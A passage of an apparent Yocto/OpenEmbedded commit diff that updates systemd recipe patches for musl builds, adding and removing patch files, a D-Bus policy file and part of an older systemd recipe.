+- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
+ if (r < 0)
+ log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
+ }
+diff --git a/src/binfmt/binfmt.c b/src/binfmt/binfmt.c
+index 981218f52f..436aaaddb4 100644
+--- a/src/binfmt/binfmt.c
++++ b/src/binfmt/binfmt.c
+@@ -48,7 +48,7 @@ static int delete_rule(const char *rule) {
+ if (!fn)
+ return log_oom();
+
+- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(fn, "-1", 0);
+ }
+
+ static int apply_rule(const char *rule) {
+@@ -56,7 +56,7 @@ static int apply_rule(const char *rule) {
+
+ (void) delete_rule(rule);
+
+- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to add binary format: %m");
+
+@@ -223,7 +223,7 @@ static int run(int argc, char *argv[]) {
+ }
+
+ /* Flush out all rules */
+- (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
+
+ STRV_FOREACH(f, files) {
+ k = apply_file(*f, true);
+diff --git a/src/core/main.c b/src/core/main.c
+index c64c73883e..1ac185e946 100644
+--- a/src/core/main.c
++++ b/src/core/main.c
+@@ -1402,7 +1402,7 @@ static int bump_unix_max_dgram_qlen(void) {
+ if (v >= DEFAULT_UNIX_MAX_DGRAM_QLEN)
+ return 0;
+
+- r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", WRITE_STRING_FILE_DISABLE_BUFFER, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
++ r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", 0, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
+ if (r < 0)
+ return log_full_errno(IN_SET(r, -EROFS, -EPERM, -EACCES) ? LOG_DEBUG : LOG_WARNING, r,
+ "Failed to bump AF_UNIX datagram queue length, ignoring: %m");
+@@ -1679,7 +1679,7 @@ static void initialize_core_pattern(bool skip_setup) {
+ if (getpid_cached() != 1)
+ return;
+
+- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m", arg_early_core_pattern);
+ }
+diff --git a/src/core/smack-setup.c b/src/core/smack-setup.c
+index 79c4808473..b111ce0a11 100644
+--- a/src/core/smack-setup.c
++++ b/src/core/smack-setup.c
+@@ -323,17 +323,17 @@ int mac_smack_setup(bool *loaded_policy) {
+ }
+
+ #ifdef SMACK_RUN_LABEL
+- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
+- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
+ r = write_string_file("/sys/fs/smackfs/netlabel",
+- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
++ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
+- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
+ if (r < 0)
+ log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
+ #endif
+diff --git a/src/hibernate-resume/hibernate-resume.c b/src/hibernate-resume/hibernate-resume.c
+index 58e35e403e..1d0beb4008 100644
+--- a/src/hibernate-resume/hibernate-resume.c
++++ b/src/hibernate-resume/hibernate-resume.c
+@@ -45,7 +45,7 @@ int main(int argc, char *argv[]) {
+ return EXIT_FAILURE;
+ }
+
+- r = write_string_file("/sys/power/resume", major_minor, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume", major_minor, 0);
+ if (r < 0) {
+ log_error_errno(r, "Failed to write '%s' to /sys/power/resume: %m", major_minor);
+ return EXIT_FAILURE;
+diff --git a/src/libsystemd/sd-device/sd-device.c b/src/libsystemd/sd-device/sd-device.c
+index 388128bf33..695f535ff4 100644
+--- a/src/libsystemd/sd-device/sd-device.c
++++ b/src/libsystemd/sd-device/sd-device.c
+@@ -2096,7 +2096,7 @@ _public_ int sd_device_set_sysattr_value(sd_device *device, const char *sysattr,
+ if (!value)
+ return -ENOMEM;
+
+- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
++ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
+ if (r < 0) {
+ /* On failure, clear cache entry, as we do not know how it fails. */
+ device_remove_cached_sysattr_value(device, sysattr);
+diff --git a/src/nspawn/nspawn-cgroup.c b/src/nspawn/nspawn-cgroup.c
+index cb01b25bc6..e92051268b 100644
+--- a/src/nspawn/nspawn-cgroup.c
++++ b/src/nspawn/nspawn-cgroup.c
+@@ -124,7 +124,7 @@ int sync_cgroup(pid_t pid, CGroupUnified unified_requested, uid_t uid_shift) {
+ fn = strjoina(tree, cgroup, "/cgroup.procs");
+
+ sprintf(pid_string, PID_FMT, pid);
+- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
++ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
+ if (r < 0) {
+ log_error_errno(r, "Failed to move process: %m");
+ goto finish;
+diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
+index ff08ed23cc..e7c4a874a9 100644
+--- a/src/nspawn/nspawn.c
++++ b/src/nspawn/nspawn.c
+@@ -2751,7 +2751,7 @@ static int reset_audit_loginuid(void) {
+ if (streq(p, "4294967295"))
+ return 0;
+
+- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
+ if (r < 0) {
+ log_error_errno(r,
+ "Failed to reset audit login UID. This probably means that your kernel is too\n"
+@@ -4148,7 +4148,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+@@ -4158,7 +4158,7 @@ static int setup_uid_map(
+ return log_oom();
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(uid_map, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, s, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+diff --git a/src/shared/cgroup-setup.c b/src/shared/cgroup-setup.c
+index f197f715c7..077f893177 100644
+--- a/src/shared/cgroup-setup.c
++++ b/src/shared/cgroup-setup.c
+@@ -267,7 +267,7 @@ int cg_attach(const char *controller, const char *path, pid_t pid) {
+
+ xsprintf(c, PID_FMT "\n", pid);
+
+- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, c, 0);
+ if (r < 0)
+ return r;
+
+@@ -799,7 +799,7 @@ int cg_enable_everywhere(
+ return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
+ }
+
+- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_stream(f, s, 0);
+ if (r < 0) {
+ log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
+ FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
+diff --git a/src/shared/mount-util.c b/src/shared/mount-util.c
+index 594efea989..d243b45bc4 100644
+--- a/src/shared/mount-util.c
++++ b/src/shared/mount-util.c
+@@ -1019,13 +1019,13 @@ static int make_userns(uid_t uid_shift, uid_t uid_range) {
+ xsprintf(line, UID_FMT " " UID_FMT " " UID_FMT "\n", 0, uid_shift, uid_range);
+
+ xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
+- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, line, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write UID map: %m");
+
+ /* We always assign the same UID and GID ranges */
+ xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
+- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(uid_map, line, 0);
+ if (r < 0)
+ return log_error_errno(r, "Failed to write GID map: %m");
+
+diff --git a/src/shared/smack-util.c b/src/shared/smack-util.c
+index 3362ee3924..80c0f2a52e 100644
+--- a/src/shared/smack-util.c
++++ b/src/shared/smack-util.c
+@@ -114,7 +114,7 @@ int mac_smack_apply_pid(pid_t pid, const char *label) {
+ return 0;
+
+ p = procfs_file_alloca(pid, "attr/current");
+- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(p, label, 0);
+ if (r < 0)
+ return r;
+
+diff --git a/src/sleep/sleep.c b/src/sleep/sleep.c
+index a3aeb24633..d3e68e1b94 100644
+--- a/src/sleep/sleep.c
++++ b/src/sleep/sleep.c
+@@ -46,7 +46,7 @@ static int write_hibernate_location_info(const HibernateLocation *hibernate_loca
+ assert(hibernate_location->swap);
+
+ xsprintf(resume_str, "%u:%u", major(hibernate_location->devno), minor(hibernate_location->devno));
+- r = write_string_file("/sys/power/resume", resume_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume", resume_str, 0);
+ if (r < 0)
+ return log_debug_errno(r, "Failed to write partition device to /sys/power/resume for '%s': '%s': %m",
+ hibernate_location->swap->device, resume_str);
+@@ -73,7 +73,7 @@ static int write_hibernate_location_info(const HibernateLocation *hibernate_loca
+ }
+
+ xsprintf(offset_str, "%" PRIu64, hibernate_location->offset);
+- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
+ if (r < 0)
+ return log_debug_errno(r, "Failed to write swap file offset to /sys/power/resume_offset for '%s': '%s': %m",
+ hibernate_location->swap->device, offset_str);
+@@ -90,7 +90,7 @@ static int write_mode(char **modes) {
+ STRV_FOREACH(mode, modes) {
+ int k;
+
+- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_file("/sys/power/disk", *mode, 0);
+ if (k >= 0)
+ return 0;
+
+@@ -112,7 +112,7 @@ static int write_state(FILE **f, char **states) {
+ STRV_FOREACH(state, states) {
+ int k;
+
+- k = write_string_stream(*f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
++ k = write_string_stream(*f, *state, 0);
+ if (k >= 0)
+ return 0;
+ log_debug_errno(k, "Failed to write '%s' to /sys/power/state: %m", *state);
+diff --git a/src/vconsole/vconsole-setup.c b/src/vconsole/vconsole-setup.c
+index d1c3febdd5..1cc68694d1 100644
+--- a/src/vconsole/vconsole-setup.c
++++ b/src/vconsole/vconsole-setup.c
+@@ -116,7 +116,7 @@ static int toggle_utf8_vc(const char *name, int fd, bool utf8) {
+ static int toggle_utf8_sysfs(bool utf8) {
+ int r;
+
+- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
+ if (r < 0)
+ return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
+
diff --git a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch b/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
deleted file mode 100644
index 80beada3d3..0000000000
--- a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From a05cc5fb3dc0e51682c40196285cdda34ec90783 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 16:53:06 +0800
-Subject: [PATCH] test-json.c: define M_PIl
-
-Fix the following compile failure:
-src/test/test-json.c:305:50: error: 'M_PIl' undeclared (first use in this function); did you mean 'M_PI'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/test/test-json.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-json.c b/src/test/test-json.c
-index a6613043b924..ca823ea79f05 100644
---- a/src/test/test-json.c
-+++ b/src/test/test-json.c
-@@ -12,6 +12,10 @@
- #include "tests.h"
- #include "util.h"
-
-+#ifndef M_PIl
-+#define M_PIl 3.141592653589793238462643383279502884L
-+#endif
-+
- static void test_tokenizer(const char *data, ...) {
- unsigned line = 0, column = 0;
- void *state = NULL;
diff --git a/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch b/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch
new file mode 100644
index 0000000000..e001ed59e8
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0025-Handle-__cpu_mask-usage.patch
@@ -0,0 +1,58 @@
+From e4f9ef547fa342102db15188544daa18e71e9c66 Mon Sep 17 00:00:00 2001
+From: Scott Murray <scott.murray@konsulko.com>
+Date: Fri, 13 Sep 2019 19:26:27 -0400
+Subject: [PATCH] Handle __cpu_mask usage
+
+Fixes errors:
+
+src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
+src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
+
+__cpu_mask is an internal type of glibc's cpu_set implementation, not
+part of the POSIX definition, which is problematic when building with
+musl, which does not define a matching type. From inspection of musl's
+sched.h, however, it is clear that the corresponding type would be
+unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
+add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/shared/cpu-set-util.h | 2 ++
+ src/test/test-sizeof.c | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
+index 3c63a58826..4c2d4347fc 100644
+--- a/src/shared/cpu-set-util.h
++++ b/src/shared/cpu-set-util.h
+@@ -6,6 +6,8 @@
+ #include "macro.h"
+ #include "missing_syscall.h"
+
++typedef unsigned long __cpu_mask;
++
+ /* This wraps the libc interface with a variable to keep the allocated size. */
+ typedef struct CPUSet {
+ cpu_set_t *set;
+diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
+index 4403c0aa52..e7e4ae112d 100644
+--- a/src/test/test-sizeof.c
++++ b/src/test/test-sizeof.c
+@@ -1,6 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <sched.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <sys/types.h>
+@@ -10,6 +9,7 @@
+ #include <float.h>
+
+ #include "time-util.h"
++#include "cpu-set-util.h"
+
+ /* Print information about various types. Useful when diagnosing
+ * gcc diagnostics on an unfamiliar architecture. */
diff --git a/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch b/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch
new file mode 100644
index 0000000000..e9b7c1c078
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0026-Handle-missing-gshadow.patch
@@ -0,0 +1,171 @@
+From 66a926cf906260c2fb5ea851e55efe03edd444dc Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Tue, 10 Mar 2020 11:05:20 +0000
+Subject: [PATCH] Handle missing gshadow
+
+gshadow usage is now present in the userdb code. Mask all uses of it to
+allow compilation on musl
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+
+---
+ src/shared/user-record-nss.c | 20 ++++++++++++++++++++
+ src/shared/user-record-nss.h | 4 ++++
+ src/shared/userdb.c | 7 ++++++-
+ 3 files changed, 30 insertions(+), 1 deletion(-)
+
+diff --git a/src/shared/user-record-nss.c b/src/shared/user-record-nss.c
+index 88b8fc2f8f..a819d41bac 100644
+--- a/src/shared/user-record-nss.c
++++ b/src/shared/user-record-nss.c
+@@ -331,8 +331,10 @@ int nss_group_to_group_record(
+ if (isempty(grp->gr_name))
+ return -EINVAL;
+
++#if ENABLE_GSHADOW
+ if (sgrp && !streq_ptr(sgrp->sg_namp, grp->gr_name))
+ return -EINVAL;
++#endif
+
+ g = group_record_new();
+ if (!g)
+@@ -348,6 +350,7 @@ int nss_group_to_group_record(
+
+ g->gid = grp->gr_gid;
+
++#if ENABLE_GSHADOW
+ if (sgrp) {
+ if (looks_like_hashed_password(utf8_only(sgrp->sg_passwd))) {
+ g->hashed_password = strv_new(sgrp->sg_passwd);
+@@ -363,6 +366,7 @@ int nss_group_to_group_record(
+ if (r < 0)
+ return r;
+ }
++#endif
+
+ r = json_build(&g->json, JSON_BUILD_OBJECT(
+ JSON_BUILD_PAIR("groupName", JSON_BUILD_STRING(g->group_name)),
+@@ -388,6 +392,7 @@ int nss_sgrp_for_group(const struct group *grp, struct sgrp *ret_sgrp, char **re
+ assert(ret_sgrp);
+ assert(ret_buffer);
+
++#if ENABLE_GSHADOW
+ for (;;) {
+ _cleanup_free_ char *buf = NULL;
+ struct sgrp sgrp, *result;
+@@ -416,6 +421,9 @@ int nss_sgrp_for_group(const struct group *grp, struct sgrp *ret_sgrp, char **re
+ buflen *= 2;
+ buf = mfree(buf);
+ }
++#else
++ return -ESRCH;
++#endif
+ }
+
+ int nss_group_record_by_name(
+@@ -427,7 +435,9 @@ int nss_group_record_by_name(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ assert(name);
+@@ -457,6 +467,7 @@ int nss_group_record_by_name(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
+@@ -468,6 +479,9 @@ int nss_group_record_by_name(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+@@ -484,7 +498,9 @@ int nss_group_record_by_gid(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ assert(ret);
+@@ -512,6 +528,7 @@ int nss_group_record_by_gid(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
+@@ -523,6 +540,9 @@ int nss_group_record_by_gid(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+diff --git a/src/shared/user-record-nss.h b/src/shared/user-record-nss.h
+index 22ab04d6ee..4e52e7a911 100644
+--- a/src/shared/user-record-nss.h
++++ b/src/shared/user-record-nss.h
+@@ -2,7 +2,11 @@
+ #pragma once
+
+ #include <grp.h>
++#if ENABLE_GSHADOW
+ #include <gshadow.h>
++#else
++struct sgrp;
++#endif
+ #include <pwd.h>
+ #include <shadow.h>
+
+diff --git a/src/shared/userdb.c b/src/shared/userdb.c
+index 91ac7c3832..20881ece84 100644
+--- a/src/shared/userdb.c
++++ b/src/shared/userdb.c
+@@ -1047,13 +1047,15 @@ int groupdb_iterator_get(UserDBIterator *iterator, GroupRecord **ret) {
+ if (gr) {
+ _cleanup_free_ char *buffer = NULL;
+ bool incomplete = false;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp;
+-
++#endif
+ if (streq_ptr(gr->gr_name, "root"))
+ iterator->synthesize_root = false;
+ if (gr->gr_gid == GID_NOBODY)
+ iterator->synthesize_nobody = false;
+
++#if ENABLE_GSHADOW
+ if (!FLAGS_SET(iterator->flags, USERDB_SUPPRESS_SHADOW)) {
+ r = nss_sgrp_for_group(gr, &sgrp, &buffer);
+ if (r < 0) {
+@@ -1066,6 +1068,9 @@ int groupdb_iterator_get(UserDBIterator *iterator, GroupRecord **ret) {
+ }
+
+ r = nss_group_to_group_record(gr, r >= 0 ? &sgrp : NULL, ret);
++#else
++ r = nss_group_to_group_record(gr, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
diff --git a/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch b/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
new file mode 100644
index 0000000000..b7fd3cddbb
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0028-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
@@ -0,0 +1,34 @@
+From 6f0dd2ba75b68036d7b4ebfe47ac5eaf44d26f06 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Apr 2021 23:44:53 -0700
+Subject: [PATCH] missing_syscall.h: Define MIPS ABI defines for musl
+
+musl does not define _MIPS_SIM_ABI32, _MIPS_SIM_NABI32, _MIPS_SIM_ABI64
+unlike glibc where these are provided by libc headers, therefore define
+them here in case they are undefined
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/basic/missing_syscall.h | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+diff --git a/src/basic/missing_syscall.h b/src/basic/missing_syscall.h
+index 9e3a165857..4d59b3e7b0 100644
+--- a/src/basic/missing_syscall.h
++++ b/src/basic/missing_syscall.h
+@@ -20,6 +20,12 @@
+ #include <asm/sgidefs.h>
+ #endif
+
++#ifndef _MIPS_SIM_ABI32
++#define _MIPS_SIM_ABI32 1
++#define _MIPS_SIM_NABI32 2
++#define _MIPS_SIM_ABI64 3
++#endif
++
+ #include "missing_keyctl.h"
+ #include "missing_stat.h"
+ #include "missing_syscall_def.h"
diff --git a/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
new file mode 100644
index 0000000000..f4d0271cdb
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
@@ -0,0 +1,11 @@
+<?xml version="1.0"?> <!--*-nxml-*-->
+<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
+ "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
+
+<busconfig>
+ <policy group="systemd-hostname">
+ <allow own="org.freedesktop.hostname1"/>
+ <allow send_destination="org.freedesktop.hostname1"/>
+ <allow receive_sender="org.freedesktop.hostname1"/>
+ </policy>
+</busconfig>
diff --git a/meta/recipes-core/systemd/systemd/selinux-hook-handling-to-enumerate-nexthop.patch b/meta/recipes-core/systemd/systemd/selinux-hook-handling-to-enumerate-nexthop.patch
deleted file mode 100644
index b1c92ed713..0000000000
--- a/meta/recipes-core/systemd/systemd/selinux-hook-handling-to-enumerate-nexthop.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 92b555aaabf710e0a672a7244e8c0e3963075133 Mon Sep 17 00:00:00 2001
-From: Purushottam choudhary <purushottam.choudhary@kpit.com>
-Date: Wed, 28 Oct 2020 22:11:49 +0530
-Subject: [PATCH] network: selinux hook handling to enumerate nexthop
-
-When selinux is enabled, the call of
-manager_rtnl_enumerate_nexthop() fails.
-
-This fix is to facilitate selinux hook handling for enumerating
-nexthop.
-
-In manager_rtnl_enumerate_nexthop() there is a check
-if "Not supported" is returned by the send_netlink() call.
-
-This check expects that -EOPNOTSUPP is returned,
-the selinux hook seems to return -EINVAL instead.
-
-This happens in kernel older than 5.3
-(more specificallytorvalds/linux@65ee00a) as it does not support
-nexthop handling through netlink.
-
-And if SELinux is enforced in the order kernel, callingRTM_GETNEXTHOP
-returns -EINVAL.
-
-Thus adding a call in the manager_rtnl_enumerate_nexthop for the
-extra return -EINVAL.
-
-Upstream-Status: Backport
-https://github.com/systemd/systemd/commit/92b555aaabf710e0a672a7244e8c0e3963075133
----
- src/network/networkd-manager.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/network/networkd-manager.c b/src/network/networkd-manager.c
-index a6c1a39..2a9be85 100644
---- a/src/network/networkd-manager.c
-+++ b/src/network/networkd-manager.c
-@@ -2121,7 +2121,7 @@ int manager_rtnl_enumerate_nexthop(Manager *m) {
-
- r = sd_netlink_call(m->rtnl, req, 0, &reply);
- if (r < 0) {
-- if (r == -EOPNOTSUPP) {
-+ if (r == -EOPNOTSUPP || r == -EINVAL) {
- log_debug("Nexthop are not supported by the kernel. Ignoring.");
- return 0;
- }
diff --git a/meta/recipes-core/systemd/systemd_246.6.bb b/meta/recipes-core/systemd/systemd_246.6.bb
deleted file mode 100644
index d9e7b1a00c..0000000000
--- a/meta/recipes-core/systemd/systemd_246.6.bb
+++ /dev/null
@@ -1,732 +0,0 @@
-require systemd.inc
-
-PROVIDES = "udev"
-
-PE = "1"
-
-DEPENDS = "intltool-native gperf-native libcap util-linux"
-
-SECTION = "base/shell"
-
-inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages features_check
-
-# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
-# that we don't build both udev and systemd in world builds.
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SRC_URI += "file://touchscreen.rules \
- file://00-create-volatile.conf \
- file://init \
- file://99-default.preset \
- file://systemd-pager.sh \
- file://0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
- file://0003-implment-systemd-sysv-install-for-OE.patch \
- file://0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch \
- file://selinux-hook-handling-to-enumerate-nexthop.patch \
- file://0001-logind-Restore-chvt-as-non-root-user-without-polkit.patch \
- "
-
-# patches needed by musl
-SRC_URI_append_libc-musl = " ${SRC_URI_MUSL}"
-SRC_URI_MUSL = "\
- file://0002-don-t-use-glibc-specific-qsort_r.patch \
- file://0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch \
- file://0004-add-fallback-parse_printf_format-implementation.patch \
- file://0005-src-basic-missing.h-check-for-missing-strndupa.patch \
- file://0006-Include-netinet-if_ether.h.patch \
- file://0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch \
- file://0008-add-missing-FTW_-macros-for-musl.patch \
- file://0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch \
- file://0011-Use-uintmax_t-for-handling-rlim_t.patch \
- file://0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch \
- file://0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
- file://0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
- file://0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
- file://0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
- file://0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch \
- file://0020-missing_type.h-add-__compar_d_fn_t-definition.patch \
- file://0021-avoid-redefinition-of-prctl_mm_map-structure.patch \
- file://0021-Handle-missing-LOCK_EX.patch \
- file://0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch \
- file://0024-test-json.c-define-M_PIl.patch \
- file://0001-do-not-disable-buffer-in-writing-files.patch \
- file://0002-src-login-brightness.c-include-sys-wait.h.patch \
- file://0003-src-basic-copy.c-include-signal.h.patch \
- file://0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch \
- file://0001-Handle-missing-gshadow.patch \
- "
-
-PAM_PLUGINS = " \
- pam-plugin-unix \
- pam-plugin-loginuid \
- pam-plugin-keyinit \
-"
-
-PACKAGECONFIG ??= " \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl audit efi ldconfig pam selinux smack usrmerge polkit', d)} \
